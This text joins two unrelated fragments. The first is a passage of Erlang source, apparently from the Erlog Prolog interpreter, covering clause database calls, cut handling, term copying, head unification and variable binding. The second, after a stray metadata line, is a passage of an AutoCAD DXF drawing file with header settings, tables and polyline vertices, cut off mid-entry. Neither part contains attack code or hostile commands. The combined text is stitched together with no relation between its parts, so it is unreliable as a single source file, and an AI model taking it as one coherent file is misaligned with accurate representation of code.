Dm:retract_clause(Dr0, Functor, Ct) of {ok,Dr1} -> Db#db{ref=Dr1}; error -> permission_error(modify, static_procedure, pred_ind(Functor)) end. %% abolish_clauses(Functor, Database) -> NewDatabase. abolish_clauses(Functor, #db{mod=Dm,ref=Dr0}=Db) -> case Dm:abolish_clauses(Dr0, Functor) of {ok,Dr1} -> Db#db{ref=Dr1}; error -> permission_error(modify, static_procedure, pred_ind(Functor)) end. %% get_procedure(Functor, Database) -> %% built_in | {code,{Mod,Func}} | {clauses,[Clause]} | undefined. %% Return the procedure type and data for a functor. get_procedure(Functor, #db{mod=Dm,ref=Dr}) -> Dm:get_procedure(Dr, Functor). %% get_procedure_type(Functor, Database) -> %% built_in | compiled | interpreted | undefined. %% Return the procedure type for a functor. get_procedure_type(Functor, #db{mod=Dm,ref=Dr}) -> Dm:get_procedure_type(Dr, Functor). %% get_interp_functors(Database) -> [Functor]. get_interp_functors(#db{mod=Dm,ref=Dr}) -> Dm:get_interpreted_functors(Dr). %% functor(Goal) -> {Name,Arity}. functor(T) when ?IS_FUNCTOR(T) -> {element(1, T),tuple_size(T)-1}; functor(T) when is_atom(T) -> {T,0}; functor(T) -> type_error(callable, T). %% well_form_body(Body, HasCutAfter, CutLabel) -> {Body,HasCut}. %% well_form_body(Body, Tail, HasCutAfter, CutLabel) -> {Body,HasCut}. %% Check that Body is well-formed, flatten conjunctions, fix cuts and %% add explicit call to top-level variables. well_form_body(Body, Cut, Label) -> well_form_body(Body, [], Cut, Label). well_form_body({',',L,R}, Tail0, Cut0, Label) -> {Tail1,Cut1} = well_form_body(R, Tail0, Cut0, Label), well_form_body(L, Tail1, Cut1, Label); well_form_body({';',{'->',C0,T0},E0}, Tail, Cut0, Label) -> {T1,Tc} = well_form_body(T0, Cut0, Label), {E1,Ec} = well_form_body(E0, Cut0, Label), %% N.B. an extra cut will be added at run-time! {C1,_} = well_form_body(C0, true, Label), {[{{if_then_else},C1,T1,E1,Label}|Tail],Tc or Ec}; well_form_body({';',L0,R0}, Tail, Cut0, Label) -> {L1,Lc} = well_form_body(L0, Cut0, Label), {R1,Rc} = well_form_body(R0, Cut0, Label), {[{{disj},L1,R1}|Tail],Lc or Rc}; well_form_body({'->',C0,T0}, Tail, Cut0, Label) -> {T1,Cut1} = well_form_body(T0, Cut0, Label), %% N.B. an extra cut will be added at run-time! {C1,_} = well_form_body(C0, true, Label), {[{{if_then},C1,T1,Label}|Tail],Cut1}; well_form_body({once,G}, Tail, Cut, Label) -> %% N.B. an extra cut is added at run-time! {G1,_} = well_form_body(G, true, Label), {[{{once},G1,Label}|Tail],Cut}; well_form_body({V}, Tail, Cut, _Label) -> {[{call,{V}}|Tail],Cut}; well_form_body(true, Tail, Cut, _Label) -> {Tail,Cut}; %No-op well_form_body(fail, _Tail, _Cut, _Label) -> {[fail],false}; %No further well_form_body('!', Tail, Cut, Label) -> {[{{cut},Label,not Cut}|Tail],true}; well_form_body(Goal, Tail, Cut, _Label) -> functor(Goal), %Check goal {[Goal|Tail],Cut}. %% well_form_goal(Goal, Tail, HasCutAfter, CutLabel) -> {Body,HasCut}. %% Check that Goal is well-formed, flatten conjunctions, fix cuts and %% add explicit call to top-level variables. well_form_goal({',',L,R}, Tail0, Cut0, Label) -> {Tail1,Cut1} = well_form_goal(R, Tail0, Cut0, Label), well_form_goal(L, Tail1, Cut1, Label); well_form_goal({';',{'->',C0,T0},E0}, Tail, Cut0, Label) -> {T1,Tc} = well_form_goal(T0, Tail, Cut0, Label), {C1,_} = well_form_goal(C0, [{{cut},Label,true}|T1], true, Label), {E1,Ec} = well_form_goal(E0, Tail, Cut0, Label), {[{{if_then_else},E1,Label}|C1],Tc or Ec}; well_form_goal({';',L0,R0}, Tail, Cut0, Label) -> {L1,Lc} = well_form_goal(L0, Tail, Cut0, Label), {R1,Rc} = well_form_goal(R0, Tail, Cut0, Label), {[{{disj},R1}|L1],Lc or Rc}; well_form_goal({'->',C0,T0}, Tail, Cut0, Label) -> {T1,Cut1} = well_form_goal(T0, Tail, Cut0, Label), %% N.B. an extra cut will be added at run-time! {C1,_} = well_form_goal(C0, [{{cut},Label,true}|T1], true, Label), {[{{if_then},Label}|C1],Cut1}; well_form_goal({once,G}, Tail, Cut, Label) -> {G1,_} = well_form_goal(G, [{{cut},Label,true}|Tail], true, Label), {[{{once},Label}|G1],Cut}; well_form_goal({V}, Tail, Cut, _Label) -> {[{call,{V}}|Tail],Cut}; well_form_goal(true, Tail, Cut, _Label) -> {Tail,Cut}; %No-op well_form_goal(fail, _Tail, _Cut, _Label) -> {[fail],false}; %No further well_form_goal('!', Tail, Cut, Label) -> {[{{cut},Label,not Cut}|Tail],true}; well_form_goal(Goal, Tail, Cut, _Label) -> functor(Goal), %Check goal {[Goal|Tail],Cut}. %% term_instance(Term, VarNum) -> {Term,NewRepls,NewVarNum}. %% term_instance(Term, Repls, VarNum) -> {Term,NewRepls,NewVarNum}. %% Generate a copy of a term with new, fresh unused variables. No %% bindings from original variables to new variables. It can handle %% replacing integer variables with overlapping integer ranges. Don't %% check Term as it should already be checked. Use orddict as there %% will seldom be many variables and it it fast to setup. term_instance(A, Vn) -> term_instance(A, orddict:new(), Vn). term_instance([], Rs, Vn) -> {[],Rs,Vn}; term_instance([H0|T0], Rs0, Vn0) -> {H,Rs1,Vn1} = term_instance(H0, Rs0, Vn0), {T,Rs2,Vn2} = term_instance(T0, Rs1, Vn1), {[H|T],Rs2,Vn2}; term_instance({'_'}, Rs, Vn) -> {{Vn},Rs,Vn+1}; %Unique variable term_instance({V0}, Rs0, Vn0) -> %Other variables case orddict:find(V0, Rs0) of {ok,V1} -> {V1,Rs0,Vn0}; error -> V1 = {Vn0}, {V1,orddict:store(V0, V1, Rs0),Vn0+1} end; %% Special case some smaller structures. term_instance({Atom,Arg}, Rs0, Vn0) -> {CopyArg,Rs1,Vn1} = term_instance(Arg, Rs0, Vn0), {{Atom,CopyArg},Rs1,Vn1}; term_instance({Atom,A1,A2}, Rs0, Vn0) -> {CopyA1,Rs1,Vn1} = term_instance(A1, Rs0, Vn0), {CopyA2,Rs2,Vn2} = term_instance(A2, Rs1, Vn1), {{Atom,CopyA1,CopyA2},Rs2,Vn2}; term_instance(T, Rs0, Vn0) when is_tuple(T) -> As0 = tl(tuple_to_list(T)), {As1,Rs1,Vn1} = term_instance(As0, Rs0, Vn0), {list_to_tuple([element(1, T)|As1]),Rs1,Vn1}; term_instance(A, Rs, Vn) -> {A,Rs,Vn}. %Constant %% unify_head(Goal, Head, Bindings, VarNum) -> %% {succeed,Repls,NewBindings,NewVarNum} | fail %% Unify a goal with a head without creating an instance of the %% head. This saves us creating many variables which are local to the %% clause and saves many variable bindings. unify_head(Goal, Head, Bs, Vn) -> unify_head(deref(Goal, Bs), Head, orddict:new(), Bs, Vn). unify_head(G, H, Rs, Bs, Vn) when ?IS_CONSTANT(G), G == H -> {succeed,Rs,Bs,Vn}; unify_head(_T, {'_'}, Rs, Bs, Vn) -> {succeed,Rs,Bs,Vn}; unify_head(T, {V0}, Rs, Bs0, Vn) -> %% Now for the tricky bit! case orddict:find(V0, Rs) of {ok,V1} -> %Already have a replacement case unify(T, V1, Bs0) of {succeed,Bs1} -> {succeed,Rs,Bs1,Vn}; fail -> fail end; error -> %Add a replacement {succeed,orddict:store(V0, T, Rs),Bs0,Vn} end; unify_head({_}=Var, H0, Rs0, Bs, Vn0) -> %% Must have an instance here. {H1,Rs1,Vn1} = term_instance(H0, Rs0, Vn0), {succeed,Rs1,add_binding(Var, H1, Bs),Vn1}; unify_head([GH|GT], [HH|HT], Rs0, Bs0, Vn0) -> case unify_head(deref(GH, Bs0), HH, Rs0, Bs0, Vn0) of {succeed,Rs1,Bs1,Vn1} -> unify_head(deref(GT, Bs1), HT, Rs1, Bs1, Vn1); fail -> fail end; unify_head([], [], Rs, Bs, Vn) -> {succeed,Rs,Bs,Vn}; unify_head(G, H, Rs, Bs, Vn) when tuple_size(G) == tuple_size(H), element(1, G) == element(1, H) -> unify_head_args(G, H, Rs, Bs, Vn, 2, tuple_size(G)); unify_head(_G, _H, _Rs, _Bs, _Vn) -> fail. unify_head_args(_G, _H, Rs, Bs, Vn, I, S) when I > S -> {succeed,Rs,Bs,Vn}; unify_head_args(G, H, Rs0, Bs0, Vn0, I, S) -> case unify_head(deref(element(I, G), Bs0), element(I, H), Rs0, Bs0, Vn0) of {succeed,Rs1,Bs1,Vn1} -> unify_head_args(G, H, Rs1, Bs1, Vn1, I+1, S); fail -> fail end. %% body_instance(Body, Tail, Repls, VarNum, Label) -> %% {Body,NewRepls,NewVarNum}. %% Generate a copy of a body in a form ready to be interpreted. No %% bindings from original variables to new variables. It can handle %% replacing integer variables with overlapping integer ranges. Don't %% check Term as it should already be checked. Use term_instance to %% handle goals. N.B. We have to be VERY careful never to go into the %% original tail as this will cause havoc. body_instance([{{cut}=Cut,_,Last}|Gs0], Tail, Rs0, Vn0, Label) -> {Gs1,Rs1,Vn1} = body_instance(Gs0, Tail, Rs0, Vn0, Label), {[{Cut,Label,Last}|Gs1],Rs1,Vn1}; body_instance([{{disj}=Disj,L0,R0}|Gs0], Tail, Rs0, Vn0, Label) -> {Gs1,Rs1,Vn1} = body_instance(Gs0, Tail, Rs0, Vn0, Label), %% Append Gs1 directly to L and R. {L1,Rs2,Vn2} = body_instance(L0, Gs1, Rs1, Vn1, Label), {R1,Rs3,Vn3} = body_instance(R0, Gs1, Rs2, Vn2, Label), {[{Disj,R1}|L1],Rs3,Vn3}; body_instance([{{if_then}=IT,C0,T0,_}|Gs0], Tail, Rs0, Vn0, Label) -> {Gs1,Rs1,Vn1} = body_instance(Gs0, Tail, Rs0, Vn0, Label), {T1,Rs2,Vn2} = body_instance(T0, Gs1, Rs1, Vn1, Label), {C1,Rs3,Vn3} = body_instance(C0, [{{cut},Label,true}|T1], Rs2, Vn2, Label), %% Append Gs1 directly to T1 to C1. {[{IT,Label}|C1],Rs3,Vn3}; body_instance([{{if_then_else}=ITE,C0,T0,E0,_}|Gs0], Tail, Rs0, Vn0, Label) -> {Gs1,Rs1,Vn1} = body_instance(Gs0, Tail, Rs0, Vn0, Label), {T1,Rs2,Vn2} = body_instance(T0, Gs1, Rs1, Vn1, Label), {C1,Rs3,Vn3} = body_instance(C0, [{{cut},Label,true}|T1], Rs2, Vn2, Label), {E1,Rs4,Vn4} = body_instance(E0, Gs1, Rs3, Vn3, Label), {[{ITE,E1,Label}|C1],Rs4,Vn4}; body_instance([{{once}=Once,G0,_}|Gs0], Tail, Rs0, Vn0, Label) -> {Gs1,Rs1,Vn1} = body_instance(Gs0, Tail, Rs0, Vn0, Label), {G1,Rs2,Vn2} = body_instance(G0, [{{cut},Label,true}|Gs1], Rs1, Vn1, Label), {[{Once,Label}|G1],Rs2,Vn2}; body_instance([G0|Gs0], Tail, Rs0, Vn0, Label) -> {Gs1,Rs1,Vn1} = body_instance(Gs0, Tail, Rs0, Vn0, Label), {G1,Rs2,Vn2} = term_instance(G0, Rs1, Vn1), {[G1|Gs1],Rs2,Vn2}; body_instance([], Tail, Rs, Vn, _Label) -> {Tail,Rs,Vn}. %% body_term(Body, Repls, VarNum) -> {Term,NewRepls,NewVarNum}. %% Generate a copy of a body as a term with new, fresh unused %% variables. No bindings from original variables to new %% variables. It can handle replacing integer variables with %% overlapping integer ranges. Don't check Term as it should already %% be checked. Use orddict as there will seldom be many variables and %% it it fast to setup. body_term([{{cut},_,_}|Gs0], Rs0, Vn0) -> {Gs1,Rs1,Vn1} = body_term(Gs0, Rs0, Vn0), {body_conj('!', Gs1),Rs1,Vn1}; body_term([{{disj},L0,R0}|Gs0], Rs0, Vn0) -> {Gs1,Rs1,Vn1} = body_term(Gs0, Rs0, Vn0), {L1,Rs2,Vn2} = body_term(L0, Rs1, Vn1), {R1,Rs3,Vn3} = body_term(R0, Rs2, Vn2), {body_conj({';',L1,R1}, Gs1),Rs3,Vn3}; body_term([{{if_then},C0,T0,_}|Gs0], Rs0, Vn0) -> {Gs1,Rs1,Vn1} = body_term(Gs0, Rs0, Vn0), {C1,Rs2,Vn2} = body_term(C0, Rs1, Vn1), {T1,Rs3,Vn3} = body_term(T0, Rs2, Vn2), {body_conj({'->',C1,T1}, Gs1),Rs3,Vn3}; body_term([{{if_then_else},C0,T0,E0,_}|Gs0], Rs0, Vn0) -> {Gs1,Rs1,Vn1} = body_term(Gs0, Rs0, Vn0), {C1,Rs2,Vn2} = body_term(C0, Rs1, Vn1), {T1,Rs3,Vn3} = body_term(T0, Rs2, Vn2), {E1,Rs4,Vn4} = body_term(E0, Rs3, Vn3), {body_conj({';',{'->',C1,T1},E1}, Gs1),Rs4,Vn4}; body_term([{{once},G0,_}|Gs0], Rs0, Vn0) -> {Gs1,Rs1,Vn1} = body_term(Gs0, Rs0, Vn0), {G1,Rs2,Vn2} = body_term(G0, Rs1, Vn1), {body_conj({once,G1}, Gs1),Rs2,Vn2}; body_term([G0|Gs0], Rs0, Vn0) -> {Gs1,Rs1,Vn1} = body_term(Gs0, Rs0, Vn0), {G1,Rs2,Vn2} = term_instance(G0, Rs1, Vn1), {body_conj(G1, Gs1),Rs2,Vn2}; body_term([], Rs, Vn) -> {true,Rs,Vn}. body_conj(L, true) -> L; body_conj(L, R) -> {',',L,R}. pred_ind({N,A}) -> {'/',N,A}. pred_ind(N, A) -> {'/',N,A}. %% Bindings %% Bindings are kept in a map/dict where the key is the variable name. -ifdef(HAS_MAPS). -define(NEW_BINDINGS(), maps:new()). -define(ADD_BINDING(V, Val, Bs), maps:put(V, Val, Bs)). %%-define(ADD_BINDING(V, Val, Bs), %% begin is_integer(V) orelse io:write(V), maps:put(V, Val, Bs) end). -define(GET_BINDING(V, BS), maps:find(V, Bs)). -else. %%-define(BIND, orddict). -define(BIND, dict). -define(NEW_BINDINGS(), ?BIND:new()). -define(ADD_BINDING(V, Val, Bs), ?BIND:store(V, Val, Bs)). -define(GET_BINDING(V, BS), ?BIND:find(V, Bs)). -endif. new_bindings() -> ?NEW_BINDINGS(). add_binding({V}, Val, Bs) -> ?ADD_BINDING(V, Val, Bs). get_binding({V}, Bs) -> ?GET_BINDING(V, Bs). %% deref(Term, Bindings) -> Term. %% Dereference a variable, else just return the term. deref({V}=T0, Bs) -> case ?GET_BINDING(V, Bs) of {ok,T1} -> deref(T1, Bs); error -> T0 end; deref(T, _) -> T. %Not a variable, return it. %% deref_list(List, Bindings) -> List. %% Dereference the top-level checking that it is a list. deref_list([], _) -> []; %It already is a list deref_list([_|_]=L, _) -> L; deref_list({V}, Bs) -> case ?GET_BINDING(V, Bs) of {ok,L} -> deref_list(L, Bs); error -> instantiation_error() end; deref_list(Other, _) -> type_error(list, Other). %% dderef(Term, Bindings) -> Term. %% Do a deep dereference. Completely dereference all the variables %% occuring in a term, even those occuring in a variables value. dderef(A, _) when ?IS_CONSTANT(A) -> A; dderef([], _) -> []; dderef([H0|T0], Bs) -> [dderef(H0, Bs)|dderef(T0, Bs)]; dderef({V}=Var, Bs) -> case ?GET_BINDING(V, Bs) of {ok,T} -> dderef(T, Bs); error -> Var end; dderef(T, Bs) when is_tuple(T) -> Es0 = tuple_to_list(T), Es1 = dderef(Es0, Bs), list_to_tuple(Es1). %% dderef_list(List, Bindings) -> List. %% Dereference all variables to any depth but check that the %% top-level is a list. dderef_list([], _Bs) -> []; dderef_list([H|T], Bs) -> [dderef(H, Bs)|dderef_list(T, Bs)]; dderef_list({V}, Bs) -> case ?GET_BINDING(V, Bs) of {ok,L} -> dderef_list(L, Bs); error -> instantiation_error() end; dderef_list(Other, _Bs) -> type_error(list, Other). %% partial_list(Term, Bindings) -> Term. %% Dereference all variables and check if partial list. partial_list([], _) -> []; partial_list([H|T0], Bs) -> T1 = partial_list(T0, Bs), [H|T1]; partial_list({V}=Var, Bs) -> case ?GET_BINDING(V, Bs) of {ok,T} -> partial_list(T, Bs); error -> Var end; partial_list(Other, _) -> type_error(list, Other). %% initial_goal(Goal) -> {Goal,Bindings,NewVarNum}. %% initial_goal(Goal, Bindings, VarNum) -> {Goal,NewBindings,NewVarNum}. %% Check term for well-formedness as an Erlog term and replace '_' %% variables with unique numbered variables. Error on non-well-formed %% goals.goal initial_goal(Goal) -> initial_goal(Goal, new_bindings(), 0). initial_goal({'_'}, Bs, Vn) -> {{Vn},Bs,Vn+1}; %Anonymous variable initial_goal({Name}=Var0, Bs, Vn) when is_atom(Name) -> case get_binding(Var0, Bs) of {ok,Var1} -> {Var1,Bs,Vn}; error -> Var1 = {Vn}, {Var1,add_binding(Var0, Var1, Bs),Vn+1} end; initial_goal([H0|T0], Bs0, Vn0) -> {H1,Bs1,Vn1} = initial_goal(H0, Bs0, Vn0), {T1,Bs2,Vn2} = initial_goal(T0, Bs1, Vn1), {[H1|T1],Bs2,Vn2}; initial_goal([], Bs, Vn) -> {[],Bs,Vn}; initial_goal(S, Bs0, Vn0) when ?IS_FUNCTOR(S) -> As0 = tl(tuple_to_list(S)), {As1,Bs1,Vn1} = initial_goal(As0, Bs0, Vn0), {list_to_tuple([element(1, S)|As1]),Bs1,Vn1}; initial_goal(T, Bs, Vn) when ?IS_ATOMIC(T) -> {T,Bs,Vn}; initial_goal(T, _Bs, _Vn) -> type_error(callable, T).
{ "pile_set_name": "Github" }
0 SECTION 2 HEADER 9 $ACADVER 1 AC1009 9 $INSBASE 10 0.0 20 0.0 30 0.0 9 $EXTMIN 10 -24.458112 20 16.165 30 0.0 9 $EXTMAX 10 -13.224388 20 23.235 30 0.0 9 $LIMMIN 10 0.0 20 0.0 9 $LIMMAX 10 0.0 20 0.0 9 $ORTHOMODE 70 0 9 $REGENMODE 70 1 9 $FILLMODE 70 1 9 $QTEXTMODE 70 0 9 $MIRRTEXT 70 1 9 $DRAGMODE 70 2 9 $LTSCALE 40 1.0 9 $OSMODE 70 0 9 $ATTMODE 70 1 9 $TEXTSIZE 40 0.2 9 $TRACEWID 40 0.05 9 $TEXTSTYLE 7 STANDARD 9 $CLAYER 8 0 9 $CELTYPE 6 CONTINUOUS 9 $CECOLOR 62 256 9 $DIMSCALE 40 1.0 9 $DIMASZ 40 0.18 9 $DIMEXO 40 0.0625 9 $DIMDLI 40 0.38 9 $DIMRND 40 0.0 9 $DIMDLE 40 0.0 9 $DIMEXE 40 0.18 9 $DIMTP 40 0.0 9 $DIMTM 40 0.0 9 $DIMTXT 40 0.18 9 $DIMCEN 40 0.09 9 $DIMTSZ 40 0.0 9 $DIMTOL 70 0 9 $DIMLIM 70 0 9 $DIMTIH 70 1 9 $DIMTOH 70 1 9 $DIMSE1 70 0 9 $DIMSE2 70 0 9 $DIMTAD 70 0 9 $DIMZIN 70 0 9 $DIMBLK 1 9 $DIMASO 70 1 9 $DIMSHO 70 1 9 $DIMPOST 1 9 $DIMAPOST 1 9 $DIMALT 70 0 9 $DIMALTD 70 2 9 $DIMALTF 40 25.4 9 $DIMLFAC 40 1.0 9 $DIMTOFL 70 0 9 $DIMTVP 40 0.0 9 $DIMTIX 70 0 9 $DIMSOXD 70 0 9 $DIMSAH 70 0 9 $DIMBLK1 1 9 $DIMBLK2 1 9 $DIMSTYLE 2 STANDARD 9 $DIMCLRD 70 0 9 $DIMCLRE 70 0 9 $DIMCLRT 70 0 9 $DIMTFAC 40 1.0 9 $DIMGAP 40 0.09 9 $LUNITS 70 2 9 $LUPREC 70 4 9 $AXISMODE 70 0 9 $AXISUNIT 10 0.0 20 0.0 9 $SKETCHINC 40 0.1 9 $FILLETRAD 40 0.0 9 $AUNITS 70 0 9 $AUPREC 70 0 9 $MENU 1 acad 9 $ELEVATION 40 0.0 9 $PELEVATION 40 0.0 9 $THICKNESS 40 0.0 9 $LIMCHECK 70 0 9 $BLIPMODE 70 1 9 $CHAMFERA 40 0.0 9 $CHAMFERB 40 0.0 9 $SKPOLY 70 0 9 $TDCREATE 40 0.000000000 9 $TDUPDATE 40 0.000000000 9 $TDINDWG 40 0.0000000000 9 $TDUSRTIMER 40 0.0000000000 9 $USRTIMER 70 1 9 $ANGBASE 50 0.0 9 $ANGDIR 70 0 9 $PDMODE 70 0 9 $PDSIZE 40 0.0 9 $PLINEWID 40 0.0 9 $COORDS 70 0 9 $SPLFRAME 70 0 9 $SPLINETYPE 70 6 9 $SPLINESEGS 70 8 9 $ATTDIA 70 0 9 $ATTREQ 70 1 9 $HANDLING 70 1 9 $HANDSEED 5 1DD 9 $SURFTAB1 70 6 9 $SURFTAB2 70 6 9 $SURFTYPE 70 6 9 $SURFU 70 6 9 $SURFV 70 6 9 $UCSNAME 2 9 $UCSORG 10 0.0 20 0.0 30 0.0 9 $UCSXDIR 10 1.0 20 0.0 30 0.0 9 $UCSYDIR 10 0.0 20 1.0 30 0.0 9 $PUCSNAME 2 9 $PUCSORG 10 0.0 20 0.0 30 0.0 9 $PUCSXDIR 10 1.0 20 0.0 30 0.0 9 $PUCSYDIR 10 0.0 20 1.0 30 0.0 9 $USERI1 70 0 9 $USERI2 70 0 9 $USERI3 70 0 9 $USERI4 70 0 9 $USERI5 70 0 9 $USERR1 40 0.0 9 $USERR2 40 0.0 9 $USERR3 40 0.0 9 $USERR4 40 0.0 9 $USERR5 40 0.0 9 $WORLDVIEW 70 1 9 $SHADEDGE 70 3 9 $SHADEDIF 70 70 9 $TILEMODE 70 1 9 $MAXACTVP 70 16 9 $PINSBASE 10 0.0 20 0.0 30 0.0 9 $PLIMCHECK 70 0 9 $PEXTMIN 10 1.000000E+20 20 1.000000E+20 30 1.000000E+20 9 $PEXTMAX 10 -1.000000E+20 20 -1.000000E+20 30 -1.000000E+20 9 $PLIMMIN 10 0.0 20 0.0 9 $PLIMMAX 10 12.0 20 9.0 9 $UNITMODE 70 0 9 $VISRETAIN 70 0 9 $PLINEGEN 70 1 9 $PSLTSCALE 70 0 9 $TREEDEPTH 70 3020 9 $DWGCODEPAGE 3 dos850 0 ENDSEC 0 SECTION 2 TABLES 0 TABLE 2 VPORT 70 1 0 VPORT 2 *ACTIVE 70 0 10 0.0 20 0.0 11 1.0 21 1.0 12 6.591288 22 4.579184 13 0.0 23 0.0 14 1.0 24 1.0 15 0.0 25 0.0 16 0.0 26 0.0 36 1.0 17 0.0 27 0.0 37 0.0 40 9.158369 41 0.688564 42 50.0 43 0.0 44 0.0 50 0.0 51 0.0 71 0 72 100 73 1 74 1 75 0 76 0 77 0 78 0 0 ENDTAB 0 TABLE 2 LTYPE 70 1 0 LTYPE 2 CONTINUOUS 70 64 3 Solid line 72 65 73 0 40 0.0 0 ENDTAB 0 TABLE 2 LAYER 70 7 0 LAYER 2 0 70 0 62 7 6 CONTINUOUS 0 LAYER 2 MERGE 70 0 62 7 6 CONTINUOUS 0 LAYER 2 STANDARD 70 0 62 7 6 CONTINUOUS 0 LAYER 2 PINS 70 0 62 7 6 CONTINUOUS 0 LAYER 2 PARAMS 70 0 62 7 6 CONTINUOUS 0 LAYER 2 OUTLINE 70 0 62 7 6 CONTINUOUS 0 LAYER 2 INTERNALS 70 0 62 7 6 CONTINUOUS 0 ENDTAB 0 TABLE 2 STYLE 70 2 0 STYLE 2 STANDARD 70 0 40 0.0 41 1.0 50 0.0 71 0 42 0.0 3 txt 4 0 STYLE 2 STYLE1 70 0 40 0.0 41 1.0 50 0.0 71 0 42 0.0 3 Arial.ttf 4 0 ENDTAB 0 TABLE 2 VIEW 70 0 0 ENDTAB 0 TABLE 2 UCS 70 0 0 ENDTAB 0 TABLE 2 APPID 70 1 0 APPID 2 ACAD 70 0 0 ENDTAB 0 TABLE 2 DIMSTYLE 70 1 0 DIMSTYLE 2 STANDARD 70 0 3 4 5 6 7 40 1.0 41 0.18 42 0.0625 43 0.38 44 0.18 45 0.0 46 0.0 47 0.0 48 0.0 71 0 72 0 73 1 74 1 75 0 76 0 77 0 78 0 140 0.18 141 0.09 142 0.0 143 25.4 144 1.0 145 0.0 146 1.0 147 0.09 170 0 171 2 172 0 173 0 174 0 175 0 176 0 177 0 178 0 0 ENDTAB 0 ENDSEC 0 SECTION 2 BLOCKS 0 ENDSEC 0 SECTION 2 ENTITIES 0 POLYLINE 8 STANDARD 62 7 5 24 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 8 STANDARD 62 7 5 25 10 -15.2 20 17.8 30 0.0 0 VERTEX 8 STANDARD 62 7 5 26 10 -15.3 20 17.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 27 10 -15.2 20 18.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 28 10 -13.9 20 18.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 29 10 -13.9 20 17.8 30 0.0 0 VERTEX 8 STANDARD 62 7 5 2A 10 -15.2 20 17.8 30 0.0 0 VERTEX 8 STANDARD 62 7 5 2B 10 -15.2 20 17.8 30 0.0 0 SEQEND 8 0 5 2C 0 POLYLINE 8 STANDARD 62 7 5 2D 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 8 STANDARD 62 7 5 2E 10 -15.2 20 17.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 2F 10 -15.3 20 17.6 30 0.0 0 VERTEX 8 STANDARD 62 7 5 30 10 -15.2 20 17.7 30 0.0 0 VERTEX 8 STANDARD 62 7 5 31 10 -13.9 20 17.7 30 0.0 0 VERTEX 8 STANDARD 62 7 5 32 10 -13.9 20 17.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 33 10 -15.2 20 17.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 34 10 -15.2 20 17.5 30 0.0 0 SEQEND 8 0 5 35 0 POLYLINE 8 STANDARD 62 7 5 36 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 8 STANDARD 62 7 5 37 10 -15.2 20 16.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 38 10 -15.3 20 17.0 30 0.0 0 VERTEX 8 STANDARD 62 7 5 39 10 -15.2 20 17.1 30 0.0 0 VERTEX 8 STANDARD 62 7 5 3A 10 -13.9 20 17.1 30 0.0 0 VERTEX 8 STANDARD 62 7 5 3B 10 -13.9 20 16.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 3C 10 -15.2 20 16.9 30 0.0 0 VERTEX 8 STANDARD 62 7 5 3D 10 -15.2 20 16.9 30 0.0 0 SEQEND 8 0 5 3E 0 POLYLINE 8 STANDARD 62 7 5 3F 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 8 STANDARD 62 7 5 40 10 -15.2 20 16.2 30 0.0 0 VERTEX 8 STANDARD 62 7 5 41 10 -15.3 20 16.3 30 0.0 0 VERTEX 8 STANDARD 62 7 5 42 10 -15.2 20 16.4 30 0.0 0 VERTEX 8 STANDARD 62 7 5 43 10 -13.9 20 16.4 30 0.0 0 VERTEX 8 STANDARD 62 7 5 44 10 -13.9 20 16.2 30 0.0 0 VERTEX 8 STANDARD 62 7 5 45 10 -15.2 20 16.2 30 0.0 0 VERTEX 8 STANDARD 62 7 5 46 10 -15.2 20 16.2 30 0.0 0 SEQEND 8 0 5 47 0 POLYLINE 8 STANDARD 62 7 5 48 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 8 STANDARD 62 7 5 49 10 -15.2 20 17.2 30 0.0 0 VERTEX 8 STANDARD 62 7 5 4A 10 -15.3 20 17.3 30 0.0 0 VERTEX 8 STANDARD 62 7 5 4B 10 -15.2 20 17.4 30 0.0 0 VERTEX 8 STANDARD 62 7 5 4C 10 -13.9 20 17.4 30 0.0 0 VERTEX 8 STANDARD 62 7 5 4D 10 -13.9 20 17.2 30 0.0 0 VERTEX 8 STANDARD 62 7 5 4E 10 -15.2 20 17.2 30 0.0 0 VERTEX 8 STANDARD 62 7 5 4F 10 -15.2 20 17.2 30 0.0 0 SEQEND 8 0 5 50 0 POLYLINE 8 STANDARD 62 7 5 51 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 8 STANDARD 62 7 5 52 10 -15.2 20 22.3 30 0.0 0 VERTEX 8 STANDARD 62 7 5 53 10 -15.3 20 22.4 30 0.0 0 VERTEX 8 STANDARD 62 7 5 54 10 -15.2 20 22.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 55 10 -13.9 20 22.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 56 10 -13.9 20 22.3 30 0.0 0 VERTEX 8 STANDARD 62 7 5 57 10 -15.2 20 22.3 30 0.0 0 VERTEX 8 STANDARD 62 7 5 58 10 -15.2 20 22.3 30 0.0 0 SEQEND 8 0 5 59 0 POLYLINE 8 STANDARD 62 7 5 5A 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 8 STANDARD 62 7 5 5B 10 -14.0 20 16.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 5C 10 -13.9 20 16.6 30 0.0 0 VERTEX 8 STANDARD 62 7 5 5D 10 -14.0 20 16.7 30 0.0 0 VERTEX 8 STANDARD 62 7 5 5E 10 -15.3 20 16.7 30 0.0 0 VERTEX 8 STANDARD 62 7 5 5F 10 -15.3 20 16.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 60 10 -14.0 20 16.5 30 0.0 0 VERTEX 8 STANDARD 62 7 5 61 10 -14.0 20 16.5 30 0.0 0 SEQEND 8 0 5 62 0 POLYLINE 8 STANDARD 62 7 5 63 66 1 10 0.0 20 0.0 30 0.0 70 1 0 VERTEX 8 STANDARD 62 7 5 64 10 -14.0 20 19.1 30 0.0 0 VERTEX 8 STANDARD 62 7 5 65 10 -13.9 20 19.2 30 0.0 0 VERTEX 8 STANDARD 62 7 5 66 10 -14.0 20 19.3 30 0.0 0 VERTEX 8 STANDARD 62 7 5 67 10 -15.3 20 19.3 30 0.0 0 VERTEX 8 STANDARD 62 7 5 68 10 -15.3 20 